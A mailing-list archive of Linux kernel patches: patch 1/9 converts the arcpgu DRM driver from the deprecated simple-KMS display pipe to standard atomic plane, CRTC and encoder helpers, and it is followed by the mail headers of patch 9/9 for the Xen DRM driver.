X-Gm-Message-State: AOJu0YyC4DwdQ9gYMj9Cbd1wcaxSWZFM3m2MC0f1J6am4mqfh5qnUjud
	ZRBQqMik0Q856hKnFY9szp+h64lfoGkzGTd1MeTrGI048Bi8gfWWOz/Y8gbGHcrbTrs1osx9bgf
	USBhp6jctkneEIznQO9aImSpg5wlJT/l4BAgMiXp7OzS2di8bL9kLE0+JxHF9mlmxAEdYPw==
X-Gm-Gg: AfdE7clHfodBKK5OKO0oOSpNmOwX/xf9Cb0sK4phkEbQsCwl95ic1CJbuABeldEwlw0
	ReJrsD0jBJsUIaB0dZruxjbnW9Hmosat0gPiSK2KXdqqZ4httqxtJyEmDnJp1QJ/sbq6Ib7K7Gy
	/xVnjxHbh6oulj95ujXbu2qmQnJYhMeZt0iMreImhKdZlXhb2c/9WU02+g+b3WoF2xq9XRBCA+A
	+2DOB9AGcJhWB77CYefms5H62pk2zUrxUV5S/+3eztnz/XfeRjYFvHobcLa9p5S2AIF8rEO/9V1
	5Ro0JVM3mpCXZzmVTn98mZClwYaISBuaKthUysR5orLL9WXYlX0LjYdgVfLxzkeqAtEw9uu+eUg
	fDLlH4MEiIH+BAQVc1Oqkc0I=
X-Received: by 2002:a05:6a00:3409:b0:847:82db:9046 with SMTP id d2e1a72fcca58-847f6e23426mr3892395b3a.26.1783189962385;
        Sat, 04 Jul 2026 11:32:42 -0700 (PDT)
X-Received: by 2002:a05:6a00:3409:b0:847:82db:9046 with SMTP id d2e1a72fcca58-847f6e23426mr3892367b3a.26.1783189961907;
        Sat, 04 Jul 2026 11:32:41 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:10 +0800
Subject: [PATCH 1/9] drm/arcpgu: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-1-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=10574;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=8mMAnYSE2j9kvPoy0U0PiscxYaNacGiFej3sM2jbRJE=;
 b=txK25+zxNcWE7LzIDK50/Vc0ek9cJ1ZHZwndvZY/Gaj4xa5vBqoV/ECCeA+Q5X53hzG7BWkCk
 vsnaMg/njluBVTDN1MNDL31skfyvaUfXMg+jVWOC+g+y4xzRJwbd4JO
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Proofpoint-Spam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a=GdXnK45ANdTc1KOwPkkA:9 a=QEXdDO2ut3YA:10
 a=OpyuDcXvxspvyRM73sMx:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 phishscore=0 clxscore=1011 priorityscore=1501
 lowpriorityscore=0 suspectscore=0 bulkscore=0 impostorscore=0 adultscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607040192
X-purgate-ID: tlsNG-ef75cf/1783189965-7E32725E-D3EBDBBA/0/0
X-purgate-type: clean
X-purgate-size: 10576

Instantiate plane, CRTC and encoder directly and wire them up with
standard atomic helpers.

This removes arcpgu's dependency on deprecated simple-KMS display pipe
interface.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/tiny/arcpgu.c | 165 +++++++++++++++++++++++++++++++++---------
 1 file changed, 131 insertions(+), 34 deletions(-)

diff --git a/drivers/gpu/drm/tiny/arcpgu.c b/drivers/gpu/drm/tiny/arcpgu.c
index c93d61ac0bb7..375cdb79e4e8 100644
--- a/drivers/gpu/drm/tiny/arcpgu.c
+++ b/drivers/gpu/drm/tiny/arcpgu.c
@@ -17,12 +17,12 @@
 #include <drm/drm_fbdev_dma.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
+#include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
 #include <drm/drm_of.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <linux/dma-mapping.h>
 #include <linux/module.h>
 #include <linux/of_reserved_mem.h>
@@ -52,14 +52,14 @@ struct arcpgu_drm_private {
 	struct drm_device	drm;
 	void __iomem		*regs;
 	struct clk		*clk;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane	plane;
+	struct drm_crtc		crtc;
+	struct drm_encoder	encoder;
 	struct drm_connector	sim_conn;
 };
 
 #define dev_to_arcpgu(x) container_of(x, struct arcpgu_drm_private, drm)
 
-#define pipe_to_arcpgu_priv(x) container_of(x, struct arcpgu_drm_private, pipe)
-
 static inline void arc_pgu_write(struct arcpgu_drm_private *arcpgu,
 				 unsigned int reg, u32 value)
 {
@@ -117,7 +117,7 @@ static const u32 arc_pgu_supported_formats[] = {
 
 static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
 {
-	const struct drm_framebuffer *fb = arcpgu->pipe.plane.state->fb;
+	const struct drm_framebuffer *fb = arcpgu->plane.state->fb;
 	uint32_t pixel_format = fb->format->format;
 	u32 format = DRM_FORMAT_INVALID;
 	int i;
@@ -139,10 +139,10 @@ static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL, reg_ctrl);
 }
 
-static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *pipe,
-					       const struct drm_display_mode *mode)
+static enum drm_mode_status arcpgu_crtc_helper_mode_valid(struct drm_crtc *crtc,
+							  const struct drm_display_mode *mode)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 	long rate, clk_rate = mode->clock * 1000;
 	long diff = clk_rate / 200; /* +-0.5% allowed by HDMI spec */
 
@@ -155,7 +155,7 @@ static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *p
 
 static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
 {
-	struct drm_display_mode *m = &arcpgu->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &arcpgu->crtc.state->adjusted_mode;
 	u32 val;
 
 	arc_pgu_write(arcpgu, ARCPGU_REG_FMT,
@@ -194,11 +194,10 @@ static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
 	clk_set_rate(arcpgu->clk, m->crtc_clock * 1000);
 }
 
-static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void arcpgu_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *state)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 
 	arc_pgu_mode_set(arcpgu);
 
@@ -208,9 +207,10 @@ static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
 		      ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
+static void arcpgu_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *state)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 
 	clk_disable_unprepare(arcpgu->clk);
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
@@ -218,35 +218,106 @@ static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
 			      ~ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *state)
+static void arcpgu_plane_helper_atomic_update(struct drm_plane *plane,
+					      struct drm_atomic_commit *state)
 {
 	struct arcpgu_drm_private *arcpgu;
 	struct drm_gem_dma_object *gem;
 
-	if (!pipe->plane.state->fb)
+	if (!plane->state->fb)
 		return;
 
-	arcpgu = pipe_to_arcpgu_priv(pipe);
-	gem = drm_fb_dma_get_gem_obj(pipe->plane.state->fb, 0);
+	arcpgu = dev_to_arcpgu(plane->dev);
+	gem = drm_fb_dma_get_gem_obj(plane->state->fb, 0);
 	arc_pgu_write(arcpgu, ARCPGU_REG_BUF0_ADDR, gem->dma_addr);
 }
 
-static const struct drm_simple_display_pipe_funcs arc_pgu_pipe_funcs = {
-	.update = arc_pgu_update,
-	.mode_valid = arc_pgu_mode_valid,
-	.enable	= arc_pgu_enable,
-	.disable = arc_pgu_disable,
-};
-
 static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
-	.fb_create  = drm_gem_fb_create,
+	.fb_create = drm_gem_fb_create,
 	.atomic_check = drm_atomic_helper_check,
 	.atomic_commit = drm_atomic_helper_commit,
 };
 
 DEFINE_DRM_GEM_DMA_FOPS(arcpgu_drm_ops);
 
+static int arcpgu_plane_helper_atomic_check(struct drm_plane *plane,
+					    struct drm_atomic_commit *state)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	return ret;
+}
+
+static const struct drm_plane_helper_funcs arcpgu_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= arcpgu_plane_helper_atomic_check,
+	.atomic_update	= arcpgu_plane_helper_atomic_update,
+};
+
+static bool arcpgu_plane_format_mod_supported(struct drm_plane *plane,
+					      u32 format,
+					      u64 modifier)
+{
+	return modifier == DRM_FORMAT_MOD_LINEAR;
+}
+
+static const struct drm_plane_funcs arcpgu_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+	.format_mod_supported	= arcpgu_plane_format_mod_supported,
+};
+
+static int arcpgu_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static const struct drm_crtc_helper_funcs arcpgu_crtc_helper_funcs = {
+	.mode_valid	= arcpgu_crtc_helper_mode_valid,
+	.atomic_check	= arcpgu_crtc_helper_atomic_check,
+	.atomic_enable	= arcpgu_crtc_helper_atomic_enable,
+	.atomic_disable	= arcpgu_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs arcpgu_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs arcpgu_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
+};
+
 static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 {
 	struct platform_device *pdev = to_platform_device(arcpgu->drm.dev);
@@ -254,6 +325,9 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	struct device_node *endpoint_node = NULL;
 	struct drm_connector *connector = NULL;
 	struct drm_device *drm = &arcpgu->drm;
+	struct drm_plane *plane;
+	struct drm_encoder *encoder;
+	struct drm_crtc *crtc;
 	int ret;
 
 	arcpgu->clk = devm_clk_get(drm->dev, "pxlclk");
@@ -301,12 +375,35 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 			return ret;
 	}
 
-	ret = drm_simple_display_pipe_init(drm, &arcpgu->pipe, &arc_pgu_pipe_funcs,
-					   arc_pgu_supported_formats,
-					   ARRAY_SIZE(arc_pgu_supported_formats),
-					   NULL, connector);
+	plane = &arcpgu->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &arcpgu_plane_funcs,
+				       arc_pgu_supported_formats,
+				       ARRAY_SIZE(arc_pgu_supported_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
 	if (ret)
 		return ret;
+	drm_plane_helper_add(plane, &arcpgu_plane_helper_funcs);
+
+	crtc = &arcpgu->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&arcpgu_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &arcpgu_crtc_helper_funcs);
+
+	encoder = &arcpgu->encoder;
+	ret = drm_encoder_init(drm, encoder, &arcpgu_encoder_funcs, DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
+	if (connector) {
+		ret = drm_connector_attach_encoder(connector, encoder);
+		if (ret)
+			return ret;
+	}
 
 	if (encoder_node) {
 		/* Locate drm bridge from the hdmi encoder DT node */
@@ -315,7 +412,7 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 		if (!bridge)
 			return -EPROBE_DEFER;
 
-		ret = drm_simple_display_pipe_attach_bridge(&arcpgu->pipe, bridge);
+		ret = drm_bridge_attach(encoder, bridge, NULL, 0);
 		if (ret)
 			return ret;
 	}
@@ -342,7 +439,7 @@ static int arcpgu_show_pxlclock(struct seq_file *m, void *arg)
 	struct drm_device *drm = node->minor->dev;
 	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(drm);
 	unsigned long clkrate = clk_get_rate(arcpgu->clk);
-	unsigned long mode_clock = arcpgu->pipe.crtc.mode.crtc_clock * 1000;
+	unsigned long mode_clock = arcpgu->crtc.mode.crtc_clock * 1000;
 
 	seq_printf(m, "hw  : %lu\n", clkrate);
 	seq_printf(m, "mode: %lu\n", mode_clock);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354505.1609815 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfn-0003fC-MG; Sun, 05 Jul 2026 05:45:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354505.1609815; Sun, 05 Jul 2026 05:45:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfn-0003c6-Gs; Sun, 05 Jul 2026 05:45:47 +0000
Received: by outflank-mailman (input) for mailman id 1354505;
 Sat, 04 Jul 2026 18:33:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5BL-0000TD-AU
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:33:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5BK-00FG0u-NW
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:33:38 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495175-2eae-0a2a0a5409dd-0a2a450bc548-44
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:38 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495200-ac48-0a2a450b0019-cddca8839570-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:38 +0200
Received: from pps.filterd (m0279862.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G9WPj3297017
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:33:36 GMT
Received: from mail-pf1-f200.google.com (mail-pf1-f200.google.com
 [209.85.210.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6txeh9af-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:33:35 +0000 (GMT)
Received: by mail-pf1-f200.google.com with SMTP id
 d2e1a72fcca58-847a5f03ff9so2434578b3a.0
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:33:35 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.33.29
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:33:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	IGXwZHbQah8WajNXtsa2tZqdRDir4hma/P5IIaHQ79g=; b=ECvd+FOX6m7m+uK6
	znPdHfToJCGz5vNdP6tV4GzW8+gWG/emNUZmGO/Rxywzfrha5unEY40pl2LXO59h
	7JXv5BMnvdyYquNsxkHqexO5Aqt/ozoQqMvQZkR6SmIcjSk/KX09cknpXg/SmD4y
	hP6befM9yAWltSsaHmCWvED4/fNXwWB77sN5NX05AUqZLG70NP16/tIDoYPnLcE2
	EH04DJfiCX6/0wgXIsEVPx0mePP3/mRq6UkdeWFfub4bU+t6MlFqgUKWB0nt0To0
	f3F3hcil7VXRNQY8Rzd+7aj/3W2ujxhjIQiNl0U335fTz9dmXSjkNMM560EDCcCr
	drpp9A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783190015; x=1783794815; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=IGXwZHbQah8WajNXtsa2tZqdRDir4hma/P5IIaHQ79g=;
        b=F9Sa7nuuQnAYqH7xFofM6yESxTHbbVY9eCwc92We3Fzrkv421cKAgXOCZF5tOB/XSI
         W9CZE3SustKvWizkxiuoej9xh31H1cDqdfj6/V3lEfizzgANAGpCHOhcn0WyGNLwGdWo
         OMZCoRyaBcHsdYY3XKxvU5JxMjFaVlb4SHzBI00NOUyGfqGgV5T6gIvDGiyiI8rI7CNq
         mARyTpwJ5iBBVpqWuS8/thEPg+0Fa09jP9VmGV8whNOrkuwcmBBxZO27QQ5E8VIwk8kd
         60mBnsJANPoPzchq+rRqlj72e934Dwjqq+5sZoVMjYCvRdtQaFJI9wzNoCvxSXhnWY2B
         Lp5w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783190015; x=1783794815;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=IGXwZHbQah8WajNXtsa2tZqdRDir4hma/P5IIaHQ79g=;
        b=jnSiBCvuQlYH/I+7f70LZPV/iH8gFGMezKSnOwxcAO+CMbi86jluRZfEDulyTCeWzy
         EkKBF5XbnHt7Qp/kUsqv7eAE55H3wfkHbGpefkZkj4dDasvFIdQNNWFEBMv4ydR8lWLG
         VEYsMnSyelfN8O4pMNW9I1pIoP+NHKZfCDowowfNry4ma/AxIbLHRflPYoM3CjJg3JEa
         5KdKaqV3opB17FUVrwv/X9K4koK14udp9bTzuzAxdqSOrO6rfbxZVrsDI7X+oM1X04xm
         EPbrkWit0i89ou5cw4FseyGKEjo3FlthbkaXPF2kAzMuhuApEj4brXd0RxsRRJClfV+m
         ilCg==
X-Forwarded-Encrypted: i=1; AHgh+RpDQblaKatYQsrNYLO3gl6wCuAmoQCxtI8d77Yrwltp6lBIVdBa3zOkuIuGP0LhS3/GAa0isyUjp1g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxFh0avF5e0uagowXOyiHrldYea7z8OoOFwZKf2ozzEfEPgVxh1
	8ONGJb6Z/ys3LA5hQ/xDdgVLEHgn/nZv5iF51CSbaEKh9xHIKrUL2jPdjLowq6ZbSEMXzHs5x57
	C/mk6Zfxt1M48mgv4LCN8Z9yPaUTzLyig/cdIHs3tdaN+/C+FEOtxksfgSkDMemwfKFUiVA==
X-Gm-Gg: AfdE7cnUm2caicAX1i0koy0q/YeOcPAzX1dLcwzlf47JY6wbZ59Ddglov8cELUSMFT8
	ruyaga+qLS8SHwARd0ufcXJ8Hf2pJyWWntoN3g/MWR6FHipBV5ZnQJERHhrdldPjeKFA9xRaME+
	r1pZNsTmxfsjPeVFIC68Hs1OgBWFP4yn3cm/AcwbfmPpawUuAiyk4VSaid9VPzOu8siTCMB7xzG
	H/muyAhIeaDwG6lhJQLXz8V9Uh1vbYlcLuQMhylZf+LzJsGz1PC/S0Dq2KA/5aXA/jiISV0WSzV
	tIu9k/kxSb996vqr1QlbRUlQo1pKj3eUvCAUAdY99vG16tKhZ83QzgiNhh6nv/aEptdqCbPFO3p
	ZZDErrh5sncDDv2x6PZyP8+A=
X-Received: by 2002:a05:6a00:a16:b0:845:e34d:f226 with SMTP id d2e1a72fcca58-847f6da5228mr4452846b3a.16.1783190015056;
        Sat, 04 Jul 2026 11:33:35 -0700 (PDT)
X-Received: by 2002:a05:6a00:a16:b0:845:e34d:f226 with SMTP id d2e1a72fcca58-847f6da5228mr4452818b3a.16.1783190014533;
        Sat, 04 Jul 2026 11:33:34 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:18 +0800
Subject: [PATCH 9/9] drm/xen: replace struct drm_simple_display_pipe with
 regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-9-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=11508;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=jES7nUSVZBQKhOgvari+mSaMEA9hK9OzE4xbZwzc1Wc=;
 b=naeMyylZbpop3bZogsF4t3ncusoDzSV5MAr4bFahQ9OZoV1nX45pewAGKcoP51qwspHbJK4qL
 CrLEMD+vWkoAPiK+s51b/vLkl6FeLtlnVwJdSWw0mdLqi6JOcjJSi+K
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX0Xj/jnUUp/62
 Bafa9fYODJGol11FijNUHbFoWbOcvPMwI8GWcZZrkJLS9JwnI41MzEnT6HOthzgSP39mZ9somDD
 w9iXC8YOIF3vbgcMmUhh5Q2loxarCKc=
X-Proofpoint-GUID: Pky9oHoAmLYta_G7XAI62vJEzaumE8jT
X-Proofpoint-ORIG-GUID: Pky9oHoAmLYta_G7XAI62vJEzaumE8jT
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX14NgNhSZkI5n
 sg7y2E/2YiO87MMcedZhn74/K73zKpGzKgY62K4OmhCpfvvn9tSWCDbZFhujwS/NzjnYDpdP1tB
 xDpJvgChRU1lL1b4th0MTZewz65ceQbR1KiKR3gq7NYfIgRlesYuvc5lsAAK1rbn8poz2NIq/cM
 WAfyk5EEb+F83nn2w5xpG/ze95ovPCFBL7uS6IOyvKrz/mA7ZlRJkrXPkFPxTuI2txWwluDyELv
 wq78uVKDLn4SwuFwBuhUMWcZSuyOMbLIoC0paUEChCJSPrAeJu78ZXuq4HqUOrf8xt3AsZ4GIQ0
 Q3G4PHx/7GZaBVYuCHB95B1d2KwESke2EnQ+bPOLbwRv3lA6tME0l3D14+YwJ+i67IbzU6JWWFq
 hvJeTJmMPWlYmObuXFnkFYWWJe+QUSvKuuHTuDdntW3MiYV8JUEgPno/ER2p746vLwCDaBxPbQe
 lQfPZPXtMNkqBdiu1uQ==
X-Authority-Analysis: v=2.4 cv=HLLz0Itv c=1 sm=1 tr=0 ts=6a4951ff cx=c_pps
 a=mDZGXZTwRPZaeRUbqKGCBw==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
